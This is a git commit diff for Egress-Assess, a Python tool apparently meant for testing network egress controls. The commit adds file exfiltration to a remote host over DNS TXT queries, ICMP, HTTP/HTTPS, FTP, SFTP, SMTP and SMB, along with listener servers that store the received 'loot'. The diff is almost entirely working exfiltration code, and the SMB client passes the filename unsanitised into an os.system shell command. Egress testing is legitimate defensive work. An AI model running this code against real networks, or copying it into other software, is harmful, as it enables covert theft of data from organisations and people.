File Transfer Functionality Merge

resolved_file
Christopher Truncer 2015-05-15 22:11:21 -04:00
parent 382d6824a3
commit 965bfded01
20 changed files with 1114 additions and 435 deletions

View File

@ -61,6 +61,7 @@ if __name__ == "__main__":
the_conductor.load_client_protocols(cli_parsed)
the_conductor.load_datatypes(cli_parsed)
if cli_parsed.file is None:
# Loop through and find the requested datatype
for name, datatype_module in the_conductor.datatypes.iteritems():
if datatype_module.cli == cli_parsed.datatype.lower():
@ -73,6 +74,15 @@ if __name__ == "__main__":
proto_module.transmit(generated_data)
sys.exit()
else:
with open(cli_parsed.file, 'rb') as file_data_handle:
file_data = file_data_handle.read()
for proto_name, proto_module in the_conductor.client_protocols.iteritems():
if proto_module.protocol == cli_parsed.client.lower():
proto_module.transmit(file_data)
sys.exit()
print "[*] Error: You either didn't provide a valid datatype or client protocol to use."
print "[*] Error: Re-run and use --list-datatypes or --list-clients to see possible options."
sys.exit()

549
Invoke-EgressAssess.ps1 Executable file → Normal file

File diff suppressed because one or more lines are too long

View File

@ -49,6 +49,9 @@ def cli_parser():
help="Password for FTP server authentication.")
data_content = parser.add_argument_group('Data Content Options')
data_content.add_argument(
"--file", default=None, metavar='/root/test.jpg',
help="Path to file for exfiltration via Egress-Assess.")
data_content.add_argument(
"--datatype", default=None, metavar='[ssn]',
help="Extract data containing fake social security numbers.")
@ -65,8 +68,9 @@ def cli_parser():
parser.print_help()
sys.exit()
if ((args.server == "ftp" or args.server == "sftp") or (args.client == "ftp" or args.client == "sftp"))\
and (args.username is None or args.password is None):
if ((args.server == "ftp" or args.server == "sftp") or (
args.client == "ftp" or args.client == "sftp")) and (
args.username is None or args.password is None):
print "[*] Error: FTP or SFTP connections require \
a username and password!".replace(' ', '')
print "[*] Error: Please re-run and provide the required info!"
@ -77,7 +81,8 @@ def cli_parser():
print "[*] Error: to connect to. Please re-run with required info!"
sys.exit()
if (args.client is not None) and (args.datatype is None):
if (args.client is not None) and (args.datatype is None) and (
args.file is None):
print "[*] Error: You need to tell Egress-Assess the type \
of data to send!".replace(' ', '')
print "[*] Error: to connect to. Please re-run with required info!"

View File

@ -24,7 +24,6 @@ class Datatype:
self.cli = ""
self.description = ""
self.filetype = "text"
self.datasize = int(cli_object.data_size)
# generate is a required function. This is what is called by the framework
# to generate the data. Any number of "sub functions" can be created, but

View File

@ -17,12 +17,23 @@ class Client:
def __init__(self, cli_object):
self.protocol = "dns"
self.length = 35
self.remote_server = cli_object.ip
self.max_length = 63
self.current_total = 0
if cli_object.file is None:
self.file_transfer = False
self.length = 35
else:
self.length = 35
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
def transmit(self, data_to_transmit):
byte_reader = 0
check_total = False
packet_number = 1
# Determine if sending via IP or domain name
@ -32,24 +43,64 @@ class Client:
print "[*] Resolving IP of domain..."
final_destination = socket.gethostbyname(self.remote_server)
while (byte_reader < len(data_to_transmit) + self.length):
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
# calcalate total packets
if ((len(data_to_transmit) % self.length) == 0):
total_packets = len(data_to_transmit) / self.length
else:
total_packets = (len(data_to_transmit) / self.length) + 1
self.current_total = total_packets
print "[*] Packet Number/Total Packets: " + str(packet_number) + "/" + str(total_packets)
# While loop over the file or data to send
while (byte_reader < len(data_to_transmit)):
if not self.file_transfer:
try:
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
send(IP(dst=final_destination)/UDP()/DNS(
id=15, opcode=0, qd=[DNSQR(
qname=encoded_data, qtype="TXT")], aa=1, qr=0),
verbose=False)
print "Sending data... " + str(packet_number) + "/" + str(total_packets)
packet_number += 1
byte_reader += self.length
except KeyboardInterrupt:
print "[*] Shutting down..."
sys.exit()
else:
encoded_data = base64.b64encode(str(packet_number) + ".:|:." + data_to_transmit[byte_reader:byte_reader + self.length])
while len(encoded_data) > self.max_length:
self.length -= 1
# calcalate total packets
if (((len(data_to_transmit) - byte_reader) % self.length) == 0):
packet_diff = (len(data_to_transmit) - byte_reader) / self.length
else:
packet_diff = ((len(data_to_transmit) - byte_reader) / self.length)
check_total = True
encoded_data = base64.b64encode(str(packet_number) + ".:|:." + data_to_transmit[byte_reader:byte_reader + self.length])
if check_total:
self.current_total = packet_number + packet_diff
check_total = False
print "[*] Packet Number/Total Packets: " + str(packet_number) + "/" + str(self.current_total)
# Craft the packet with scapy
try:
send(IP(dst=final_destination)/UDP()/DNS(
while True:
response_packet = sr1(IP(dst=final_destination)/UDP()/DNS(
id=15, opcode=0,
qd=[DNSQR(qname="egress-assess.com", qtype="TXT")], aa=1, qr=0,
an=[DNSRR(rrname=encoded_data, type="TXT", ttl=10)]),
verbose=False)
qd=[DNSQR(qname=encoded_data, qtype="TXT")], aa=1, qr=0),
verbose=False, timeout=2)
if response_packet:
if response_packet.haslayer(DNSRR):
dnsrr_strings = repr(response_packet[DNSRR])
if str(packet_number) + "allgoodhere" in dnsrr_strings:
break
except KeyboardInterrupt:
print "[*] Shutting down..."
sys.exit()
@ -58,4 +109,14 @@ class Client:
byte_reader += self.length
packet_number += 1
if self.file_transfer is not False:
while True:
final_packet = sr1(IP(dst=final_destination)/UDP()/DNS(
id=15, opcode=0,
qd=[DNSQR(qname="ENDTHISFILETRANSMISSIONEGRESSASSESS" + self.file_transfer, qtype="TXT")], aa=1, qr=0),
verbose=True, timeout=2)
if final_packet:
break
return

View File

@ -19,6 +19,13 @@ class Client:
self.remote_server = cli_object.ip
self.username = cli_object.username
self.password = cli_object.password
if cli_object.file is None:
self.file_transfer = False
else:
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
def transmit(self, data_to_transmit):
@ -34,11 +41,15 @@ class Client:
print "[*] Error: Username or password is incorrect! Please re-run."
sys.exit()
if not self.file_transfer:
ftp_file_name = helpers.writeout_text_data(data_to_transmit)
ftp.storlines(
"STOR " + ftp_file_name, open(helpers.ea_path()
+ "/" + ftp_file_name))
ftp.quit()
os.remove(helpers.ea_path() + "/" + ftp_file_name)
else:
ftp.storbinary("STOR " + self.file_transfer, open(self.file_transfer))
ftp.quit()
print "[*] File sent!!!"

View File

@ -14,9 +14,17 @@ class Client:
self.data_to_transmit = ''
self.remote_server = cli_object.ip
self.protocol = "http"
if cli_object.file is None:
self.file_transfer = False
else:
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
def transmit(self, data_to_transmit):
# Create the url to post to
if not self.file_transfer:
url = "http://" + self.remote_server + "/post_data.php"
# Post the data to the web server at the specified URL
@ -28,4 +36,17 @@ class Client:
print "[*] Error: Web server may not be active on " + self.remote_server
print "[*] Error: Please check server to make sure it is active!"
sys.exit()
else:
url = "http://" + self.remote_server + "/post_file.php"
try:
data_to_transmit = self.file_transfer + ".:::-989-:::." + data_to_transmit
f = urllib2.urlopen(url, data_to_transmit)
f.close()
print "[*] File sent!!!"
except urllib2.URLError:
print "[*] Error: Web server may not be active on " + self.remote_server
print "[*] Error: Please check server to make sure it is active!"
sys.exit()
return

View File

@ -14,9 +14,16 @@ class Client:
self.data_to_transmit = ''
self.remote_server = cli_object.ip
self.protocol = "https"
if cli_object.file is None:
self.file_transfer = False
else:
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
def transmit(self, data_to_transmit):
# Create the url to post to
if not self.file_transfer:
url = "https://" + self.remote_server + "/post_data.php"
# Post the data to the web server at the specified URL
@ -28,4 +35,17 @@ class Client:
print "[*] Error: Web server may not be active on " + self.remote_server
print "[*] Error: Please check server to make sure it is active!"
sys.exit()
else:
url = "https://" + self.remote_server + "/post_file.php"
try:
data_to_transmit = self.file_transfer + ".:::-989-:::." + data_to_transmit
f = urllib2.urlopen(url, data_to_transmit)
f.close()
print "[*] File sent!!!"
except urllib2.URLError:
print "[*] Error: Web server may not be active on " + self.remote_server
print "[*] Error: Please check server to make sure it is active!"
sys.exit()
return

View File

@ -21,8 +21,15 @@ class Client:
def __init__(self, cli_object):
self.protocol = "icmp"
self.length = 1100 # Number of cleartext characters allowed before b64 encoded
self.length = 1050 # Number of cleartext characters allowed before b64 encoded
self.remote_server = cli_object.ip
if cli_object.file is None:
self.file_transfer = False
else:
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
def transmit(self, data_to_transmit):
@ -37,7 +44,11 @@ class Client:
final_destination = socket.gethostbyname(self.remote_server)
while (byte_reader < len(data_to_transmit) + self.length):
if not self.file_transfer:
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
else:
encoded_data = base64.b64encode(self.file_transfer +
".:::-989-:::." + data_to_transmit[byte_reader:byte_reader + self.length])
# calcalate total packets
if ((len(data_to_transmit) % self.length) == 0):

View File

@ -21,11 +21,19 @@ class Client:
self.username = cli_object.username
self.password = cli_object.password
self.remote_system = cli_object.ip
if cli_object.file is None:
self.file_transfer = False
else:
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
def transmit(self, data_to_transmit):
print "[*] Transmitting data..."
if not self.file_transfer:
sftp_file_name = helpers.writeout_text_data(data_to_transmit)
full_path = helpers.ea_path() + "/" + sftp_file_name
@ -39,6 +47,18 @@ class Client:
transport.close()
os.remove(sftp_file_name)
else:
transport = paramiko.Transport(self.remote_system)
transport.connect(username=self.username, password=self.password)
sftp = paramiko.SFTPClient.from_transport(transport)
if "/" in self.file_transfer:
sftp.put(self.file_transfer, '/' + self.file_transfer.split("/")[-1])
else:
sftp.put(self.file_transfer, '/' + self.file_transfer)
# close sftp connection
sftp.close()
transport.close()
print "[*] Data sent!"

View File

@ -0,0 +1,73 @@
'''
This is the template that should be used for client modules.
A brief description of the client module can/should be placed
up here. All necessary imports should be placed between the
comments and class declaration.
Finally, be sure to rename your client module to a .py file
'''
import os
from common import helpers
class Client:
# Within __init__, you have access to everything passed in
# via the command line. self.protocol is the variable listed
# when running --list-clients and is what is used in conjunction
# with --client <client>. self.protocol is the only required attribute
# of the object.
def __init__(self, cli_object):
self.protocol = "smb"
self.remote_server = cli_object.ip
if cli_object.file is None:
self.file_transfer = False
else:
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
# transmit is the only required function within the object. It is what
# called by the framework to transmit data. However, you can create as
# many "sub functions" for transmit to invoke as needed. "data_to_transmit"
# is a variable passed in by the framework which contains the data that
# is to be sent out by the client.
def transmit(self, data_to_transmit):
# find current directory, make directory for mounting share
# current directory
exfil_directory = os.path.join(os.getcwd(), "mount")
mount_path = exfil_directory + "/"
# Check to make sure the agent directory exists, and a loot
# directory for the agent. If not, make them
if not os.path.isdir(mount_path):
os.makedirs(mount_path)
# Base command to copy file over smb
smb_command = "smbclient \\\\\\\\" + self.remote_server + "\\\\\\DATA -N -c \"put "
# If using a file, copy it, else write to disk and then copy
if not self.file_transfer:
smb_file_name = helpers.writeout_text_data(data_to_transmit)
smb_full_path = helpers.ea_path() + "/" + smb_file_name
smb_command += smb_file_name + "\""
else:
smb_command += self.file_transfer + "\""
smb_file_name = self.file_transfer
print smb_command
os.system(smb_command)
if not self.file_transfer:
os.remove(smb_full_path)
print "[*] File Transmitted!"
return

View File

@ -7,7 +7,10 @@ http://pymotw.com/2/smtpd/
import smtplib
import email.utils
from email import Encoders
from email.MIMEBase import MIMEBase
from email.mime.text import MIMEText
from email.MIMEMultipart import MIMEMultipart
class Client:
@ -20,6 +23,13 @@ class Client:
def __init__(self, cli_object):
self.protocol = "smtp"
self.remote_server = cli_object.ip
if cli_object.file is None:
self.file_transfer = False
else:
if "/" in cli_object.file:
self.file_transfer = cli_object.file.split("/")[-1]
else:
self.file_transfer = cli_object.file
# transmit is the only required function within the object. It is what
# called by the framework to transmit data. However, you can create as
@ -30,11 +40,23 @@ class Client:
print "[*] Sending data over e-mail..."
if not self.file_transfer:
# Create the message
msg = MIMEText('This is the data to exfil:\n\n' + data_to_transmit)
msg['To'] = email.utils.formataddr(('Server', 'server@egress-assess.com'))
msg['From'] = email.utils.formataddr(('Tester', 'tester@egress-assess.com'))
msg['Subject'] = 'Egress-Assess Exfil Data'
else:
msg = MIMEMultipart()
msg['Subject'] = 'Egress-Assess Exfil Data'
msg['From'] = email.utils.formataddr(('Tester', 'tester@egress-assess.com'))
msg['To'] = email.utils.formataddr(('Server', 'server@egress-assess.com'))
part = MIMEBase('application', "octet-stream")
part.set_payload(open(self.file_transfer, "rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename=' + self.file_transfer)
msg.attach(part)
server = smtplib.SMTP(self.remote_server, 25)
server.set_debuglevel(False)

View File

@ -19,21 +19,49 @@ class Server:
self.last_packet = ''
self.file_name = ''
self.loot_path = ''
self.file_dict = {}
self.file_status = ''
def customAction(self, packet):
if packet.haslayer(DNSRR):
dnsrr_strings = repr(packet[DNSRR])
if packet.haslayer(DNSQR):
dnsqr_strings = repr(packet[DNSQR])
if "ENDTHISFILETRANSMISSIONEGRESSASSESS" in dnsqr_strings:
self.file_name = dnsqr_strings.split('\'')[1].rstrip('.').split('ENDTHISFILETRANSMISSIONEGRESSASSESS')[1]
with open(self.loot_path + self.file_name, 'a') as\
dns_out:
for dict_key in xrange(1, int(self.file_status) + 1):
dns_out.write(self.file_dict[str(dict_key)])
sys.exit()
else:
try:
incoming_data = base64.b64decode(dnsrr_strings.split('\'')[1].rstrip('.'))
if incoming_data == self.last_packet:
incoming_data = base64.b64decode(dnsqr_strings.split('\'')[1].rstrip('.'))
if ".:|:." in incoming_data:
self.file_status = incoming_data.split(".:|:.")[0]
file_data = incoming_data.split(".:|:.")[1]
if self.file_status in self.file_dict:
pass
else:
self.file_dict[self.file_status] = file_data
outgoing_data = self.file_status + "allgoodhere"
# This function from http://bb.secdev.org/scapy/issue/500/les-r-ponses-dns-de-type-txt-sont-malform
for i in range(0, len(outgoing_data), 0xff+1):
outgoing_data = outgoing_data[:i] + chr(len(outgoing_data[i:i+0xff])) + outgoing_data[i:]
send(IP(dst=packet[IP].src)/UDP(dport=packet[UDP].sport, sport=53)/DNS(id=packet[DNS].id, qr=1,
qd=[DNSQR(qname=dnsqr_strings.split('\'')[1].rstrip('.'), qtype=packet[DNSQR].qtype)],
an=[DNSRR(rrname=dnsqr_strings.split('\'')[1].rstrip('.'), rdata=outgoing_data, type=packet[DNSQR].qtype)]),
verbose=False)
else:
with open(self.loot_path + self.file_name, 'a') as dns_out:
dns_out.write(incoming_data)
self.last_packet = incoming_data
except TypeError:
pass
print "[*] Potentially received a malformed DNS packet!"
return
def serve(self):
@ -51,5 +79,5 @@ class Server:
"_" + current_time.replace(":", "") + "text_data.txt"
print "[*] DNS server started!"
sniff(prn=self.customAction)
sniff(prn=self.customAction, store=0)
return

View File

@ -4,6 +4,7 @@ This is the code for the web server
'''
import os
import socket
import sys
from protocols.servers.serverlibs.web import base_handler
@ -22,7 +23,7 @@ class Server:
# bind to all interfaces
Thread(target=self.serve_on_port).start()
print "[*] Web server is currently running"
print "[*] Type \"killall -9 python\" to stop the web server."
print "[*] Type \"kill -9 " + str(os.getpid()) + "\" to stop the web server."
# handle keyboard interrupts
except KeyboardInterrupt:
print "[!] Rage quiting, and stopping the web server!"

View File

@ -4,6 +4,7 @@ This is the code for the web server
'''
import os
import socket
import ssl
import sys
@ -24,7 +25,7 @@ class Server:
# bind to all interfaces
Thread(target=self.serve_on_port).start()
print "[*] Web server is currently running"
print "[*] Type \"killall -9 python\" to stop the web server."
print "[*] Type \"kill -9 " + str(os.getpid()) + "\" to stop the web server."
# handle keyboard interrupts
except KeyboardInterrupt:
print "[!] Rage quiting, and stopping the web server!"

View File

@ -33,7 +33,16 @@ class Server:
if incoming_data == self.last_packet:
pass
else:
with open(self.loot_path + self.file_name, 'a') as icmp_out:
if ".:::-989-:::." in incoming_data:
file_name = incoming_data.split(".:::-989-:::.")[0]
file_data = incoming_data.split(".:::-989-:::.")[1]
with open(self.loot_path + file_name, 'a') as\
icmp_out:
icmp_out.write(file_data)
self.last_packet = incoming_data
else:
with open(self.loot_path + self.file_name, 'a') as\
icmp_out:
icmp_out.write(incoming_data)
self.last_packet = incoming_data
except TypeError:

View File

@ -1,5 +1,8 @@
# Code from http://pymotw.com/2/smtpd/
# Code from https://github.com/trentrichardson/Python-Email-Dissector/blob/master/EDHelpers/EDServer.py
import base64
from email.parser import Parser
import smtpd
import time
from common import helpers
@ -8,6 +11,7 @@ from common import helpers
class CustomSMTPServer(smtpd.SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data):
print 'Receiving message from:', peer
print 'Message addressed from:', mailfrom
print 'Message addressed to :', rcpttos
@ -15,6 +19,16 @@ class CustomSMTPServer(smtpd.SMTPServer):
loot_directory = helpers.ea_path() + '/data'
p = Parser()
msgobj = p.parsestr(data)
for part in msgobj.walk():
attachment = self.email_parse_attachment(part)
if type(attachment) is dict and 'filedata' in attachment:
decoded_file_data = base64.b64decode(attachment['filedata'])
attach_file_name = attachment['filename']
with open(loot_directory + "/" + attach_file_name, 'wb') as attached_file:
attached_file.write(decoded_file_data)
else:
current_date = time.strftime("%m/%d/%Y")
current_time = time.strftime("%H:%M:%S")
file_name = current_date.replace("/", "") +\
@ -24,3 +38,25 @@ class CustomSMTPServer(smtpd.SMTPServer):
email_file.write(data)
return
def email_parse_attachment(self, message_part):
content_disposition = message_part.get("Content-Disposition", None)
if content_disposition:
dispositions = content_disposition.strip().split(";")
if bool(content_disposition and dispositions[0].lower() == "attachment"):
attachment = {
'filedata': message_part.get_payload(),
'content_type': message_part.get_content_type(),
'filename': "default"
}
for param in dispositions[1:]:
name,value = param.split("=")
name = name.strip().lower()
if name == "filename":
attachment['filename'] = value.replace('"','')
return attachment
return None

View File

@ -56,6 +56,25 @@ class GetHandler(BaseHTTPRequestHandler):
with open(loot_path + screenshot_name, 'w') as cc_data_file:
cc_data_file.write(screen_data)
elif uri_posted == "post_file.php":
self.send_response(200)
self.end_headers()
# Check to make sure the agent directory exists, and a loot
# directory for the agent. If not, make them
if not os.path.isdir(loot_path):
os.makedirs(loot_path)
# Read the length of the screenshot file being uploaded
screen_length = self.headers['content-length']
screen_data = self.rfile.read(int(screen_length))
file_name = screen_data.split(".:::-989-:::.")[0]
file_data = screen_data.split(".:::-989-:::.")[1]
with open(loot_path + file_name, 'wb') as cc_data_file:
cc_data_file.write(file_data)
# All other Post requests
else:

View File

@ -0,0 +1,43 @@
'''
This is the code for the web server
'''
import os
from impacket import smbserver
class Server:
def __init__(self, cli_object):
self.protocol = "smb"
def serve(self):
try:
# current directory
exfil_directory = os.path.join(os.getcwd(), "data")
loot_path = exfil_directory + "/"
# Check to make sure the agent directory exists, and a loot
# directory for the agent. If not, make them
if not os.path.isdir(loot_path):
os.makedirs(loot_path)
server = smbserver.SimpleSMBServer()
server.addShare("DATA", "data/", "Egress-Assess data share")
# If you don't want log to stdout, comment the following line
# If you want log dumped to a file, enter the filename
server.setLogFile('')
print "[*] SMB server is currently running..."
# Rock and roll
server.start()
# handle keyboard interrupts
except KeyboardInterrupt:
print "[!] Rage quiting, and stopping the smb server!"
return

View File

@ -2,13 +2,7 @@
clear
echo "[*] Installing Egress-Assess Dependencies..."
echo "[*] Installing scapy"
apt-get update
apt-get install python-scapy
echo "[*] Installing paramiko"
apt-get install python-paramiko python-crypto
echo "[*] Installing ecdsa"
pip install ecdsa
apt-get install smbclient
echo "[*] Installing pyftpdlib..."
git clone https://github.com/giampaolo/pyftpdlib.git
cd pyftpdlib